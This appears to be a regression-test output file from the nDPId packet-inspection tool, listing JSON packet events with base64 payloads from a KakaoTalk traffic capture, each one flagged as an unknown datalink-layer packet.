+00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2890,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":179175,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/XXqAbDPhfrL4Q1SapdpfM9T5mWj7vBNaaiYXhBkI6oHStC3B1WWT\/icibDtd21Mmimdd+TKLx62j"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2890,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2891,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":187110,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/sHOAbDPifrL8A1SapdrQ7OmPW3Tz38+asUR9ohBT3ek42v19leJu0fGHmWKUh83UB2x77Tq5uQSp"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2891,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2892,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":199134,"pkt_caplen":176,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":176,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKAAAEAAHBH92gHJAa4KGFK8WgYoHACMUzCAbFFci0OaWguGVRmVcWaHqAMiMyp9UfVgYoOYE72eEvmi0sCmpx+f3faJBJW8izY4z3k2xP31X2qq9xoztYHsAfzOypsJ8RJ\/n9tFSOVIYCZgJxrQeqBWdNBUteCNE7tmDHl2qRVaw67Aj4xUvpgLq7Cj2VdFzAeM32wDLgPT12kvUAE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2892,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2893,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":207099,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAK0KNkAAjwZ9xK38WIAKGFK8AbvqMmPPnoUydbJRUBikjBBtAAAWAwEAUQIAAE0DAfA+D6DpcQ3Du4DZ7Y6rvcT6jYxmd6Ol\/g3w06+\/HU8sIN7mSkHwum5YAkPf9F1sC8Q73hXOE4o3oouZE9fRYbaowAcAAAX\/AQABABQDAQABARYDAQAk6N+FUIVKZLQccHEX6xyqO1qiHy\/f00KJnytKACn9V9mLgEoo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2893,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2894,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":207251,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAChoBUAAQAZvegoYUryt\/FiA6jIBuzJ1slFjz58KUBA6oGNrAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2894,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2895,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":209265,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFdoBkAAQAZvSgoYUryt\/FiA6jIBuzJ1slFjz58KUBg6oI0IAAAUAwEAAQEWAwEAJNNUjztPeLf147JYV5daEDvCo7lXC38bAOGD1f0x5+vFPP4MGg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2895,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2896,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":218573,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/YXKAbDPnfrMOw1Sapdrlk1EdyZopBOIYF5dIDZ7cdWzQc24YRd2+yIHmVW4IwqUzzN1mdUvDB2ex"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2896,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2897,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":227179,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIpJ6AbFFhi0OtGguGVRmXE6r0CoRRWJOcD6Fj1zWx\/jnk0qxPGkf5mJpxCsA+qvUYvuwESslQbCCPlMxGuwi9WeWq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2897,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2898,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":227210,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKUAAEAAHBH91QHJAa4KGFK8WgYoHACR1sGAbFFdi0OeGguGVRl7mieiHb1BXsPXzsNEf\/doBRMe+9ELxVoJ+Ly1Tqec5xD8OMTHI6zfnXKY89QTzRsljALGcvyzUxCqzeFHUekKnyimLjGRJ6UE34ibi3Upb46+k8X5B9anpehSJsx1vE3ZNnFDq60Gyj8R9deMNxdiELwFl5snas+hQmBvcg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2898,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2899,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":229682,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH6o6AbFFii0Ow2guGVRk\/+FoQmBwxZDGTFlVX568ICUicy7tlzfQjD+XOtF3pi5MuMc7XnepGXQ0+gChvPeJPZV8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2899,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2900,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":247077,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/OheAbDPjfrL\/w1Sapdoqcx+gojqg8tA6NkEZfuiV07\/FVJoEXgvPi0i\/iQKhjzlGpqP54xDYHB5B"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2900,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2901,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":255072,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/MhmAbDPkfrMDg1SapdrRj9OCK+PkfaJAyhziHB9HW31LYw6g0ItCe3NgIUcqC1Kg0oxfCp6A9Kr0"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2901,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2902,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":255377,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIMAAEAAHBH99wHJAa4KGFK8WgYoHABvywCAbFFei0Oh2guGVRmlO\/4pWLFisVCEGjQk+AU6uV0zmaIo3Wgif0Q\/lUSvyZJtZrtvVVccSvT7QDCDVkTW68+n5k2QgXaQSFGD+8t2tIVkZKr+fHWkdr8xqI\/RdP+pvMiJ+OkJ8kHu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2902,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2903,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":263098,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/RbmAbDPlfrMHQ1SapdrCUgUUmPrOlEVYcn8xbfHaGzhoB9MLMeWiGmT+Dna3ilbfSLvhoFMmTrAc"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2903,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2904,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":263373,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKN0AAjwZ+SK38WIAKGFK8AbvqMmPPnwoydbKAUBCkjNQ5AAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2904,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01300{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2905,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":264014,"pkt_caplen":735,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":735,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAs9oB0AAQAZs0QoYUryt\/FiA6jIBuzJ1soBjz58KUBg6oA3JAAAXAwECou7WsyJqz8l\/eY2JscRB2zZYvBwRN8ErJIQFpsJB8oX0hWGlP80OLI5PNSOqJujgS8Y1gwmJtOLgrsy3Onb7nihrOt\/s6QgYVYDSRSSYy0fftKc3bTU2GXCExda0xllxs9UauG8guOIewqRqQeI9l3wjr+gOYz8S0dQYX7BvUcpr82q+8SIPn3Z6foLbe5y9WgFrVDcGdWdc4y0+sdb11zY2U9nvFSP\/QwXfoZaF6AnAcOPwd6rPPkd1SgEzmNi4b2o\/iuLHAxHfm\/xufKQzuRC1OiDYOaVQGKJiipIKFh1m3LiFA+2KNqirNMGQ5SPBGLEx15AHOIfCwsbV+qhW92Ew8UPqy5L\/dNWjabPrSnGN9PVgloPxWI4al8XtFzsMoQfY5Y6H9LJ115Omgs1f9K6X4GhKBT2CA38eNHFR6LhK5GGPSy1beeMYO++NENcZ2KXvU\/OmyDmogIIhqFAXkhS5DXgs1d2xRrqea+NDp6Mbbc\/qFUs\/YHOb9iXXqJMr7MtWBJpMvbQhja9mocrK4hXmYs\/4DrY2YVE+3UPl72G7tpuA8+uB6Fpe7xAyMOw1mAsaKrr4zfmUVVbNEaesJHAninzvaa6TbN1G4CYpmcdQLyuGSwzqvhRUTJ3sC6pWL7jF5ULOkXfeHlnCxozjA4ywVAegZFwUFOYjEYVj06gmoRigkGCQ\/PMTHEcMZkAUpdUrjQXdXxaEY\/ET3AYfQAAUbuMVxEILAFXMx5+X7OABMOivBECpEcD6vU7HpM27nvSlgReKIc\/y+yPS+jI7IR1EAk5SF4je76X64\/AgQ2eEIW1B9vE7tuDyempubLa89qFA1YdWR9MkPzCzQqBTKkzG7pDQ0Z2HME30OVXg\/MFgzQFw+SfkTpkPErZolWjfANWN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2905,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2906,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":267096,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGcAAEAAHBH+EwHJAa4KGFK8WgYoHABTiGmAbFFfi0OlmguGVRmjV6DyKPFYokIxrbctM1aosR+PxZRCp5HgSqIqjUAF051X24P5jTF3vbtO4he6ldnBOX80XMvFIewI\/cXdBd4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2906,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2907,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":279090,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHBH+CAHJAa4KGFK8WgYoHABeGqmAbFFgi0OpWguGVRnvtiun2fmxautmkegFEKV2oKm0yKMK6UbpJyEMvfGhD7crhsKSnH73viNCAGnwFfilG0SVJbR+pvqWY9dVik9VPyz6HPOwpNBOzA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2907,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2908,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":288520,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/rFmAbDPmfrMLA1SapdpqBW5EatWMK1g+rzk8YogHNPY1nr0oyJ96v+k6nOJ90FKeGtG\/sIJTC2Zv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2908,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2909,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":297461,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ncGAbDPofrMSg1Sapdqb9LPtPpJCjNcgoBJV3LsndG7PdPtKMeIeogVd4LPZhImKzCxOJbTIlRqp"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2909,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2910,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":332892,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAPxHbSwoYUrwByQGuLDhaBABDSLCAbFFji0O0mguGVRli2B0U0\/hqc5rw2gce3S0nBtHYHgmL5sUcUE\/i+WY2AG9QFKGMEtpniIqdeDlEKg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2910,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2911,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":338965,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ea2AbDPpfrMWQ1Sapdpn9YGqo\/3GtgkD3\/MG9d\/hRHdqPMY7zYP8OyU442iuycHSKMh0D\/WCWyqW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2911,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2912,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":347144,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/XViAbDPnfrMOw1Sapdrlk1EdyZopBOIYF5dIDZ7cdWzQc24YRd2+yIHmVW4IwqUzzN1mdUvDB2ex"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2912,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2913,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":347663,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIqLiAbFFhi0OtGguGVRmXE6r0CoRRWJOcD6Fj1zWx\/jnk0qxPGkf5mJpxCsA+qvUYvuwESslQbCCPlMxGuwi9WeWq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2913,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2914,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":359168,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABH7qiAbFFii0Ow2guGVRk\/+FoQmBwxZDGTFlVX568ICUicy7tlzfQjD+XOtF3pi5MuMc7XnepGXQ0+gChvPeJPZV8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2914,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2915,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":377478,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/kwiAbDPqfrMaA1SapdrkfETKrSQiNzz1BMJjy57buNmErqD2hA3G\/rb3dGcz21FEXBHxP+i8CF7t"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2915,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2916,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":435218,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJDNWAbFFki0O4WguGVRmzWK9q+Qxi3haO96wwars8tOTIQZagHQE3r1sh7jhtJC6+uRKZ13ny3\/MhNJEWi2Q+0qdZvw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2916,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2917,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":437049,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHbSyAbFFli0O8GguGVRkviW3rntBCj23OugGT+r5w2jT6p5Agug0zM2+oHL2Ld5s1TpictO3qLrSmCCoiEwJaYu4="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2917,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2918,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":459143,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/maeAbDPofrMSg1Sapdqb9LPtPpJCjNcgoBJV3LsndG7PdPtKMeIeogVd4LPZhImKzCxOJbTIlRqp"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2918,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2919,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":468238,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDTMqAbFFji0O0mguGVRli2B0U0\/hqc5rw2gce3S0nBtHYHgmL5sUcUE\/i+WY2AG9QFKGMEtpniIqdeDlEKg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2919,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2920,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":479132,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/dZOAbDPpfrMWQ1Sapdpn9YGqo\/3GtgkD3\/MG9d\/hRHdqPMY7zYP8OyU442iuycHSKMh0D\/WCWyqW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2920,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2921,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":482581,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/WSmAbDPrfrMdw1SapdrJK1yBDBU7tx3Q9QJQe8F8ZcKIMZYvmEBRhE6yEeYLTUhMeS6Vvu2trJwb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2921,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2922,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":487555,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ju6AbDPqfrMaA1SapdrkfETKrSQiNzz1BMJjy57buNmErqD2hA3G\/rb3dGcz21FEXBHxP+i8CF7t"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2922,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2923,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069212,"pkt_ts_usec":524756,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/0q+AbDPsfrMhg1SapdrYZxlVVhoaJ2dFOUG35ya1wDgkGEny4O0PsOS7QlMxYzHz2mDD4uTtmLRV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2923,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 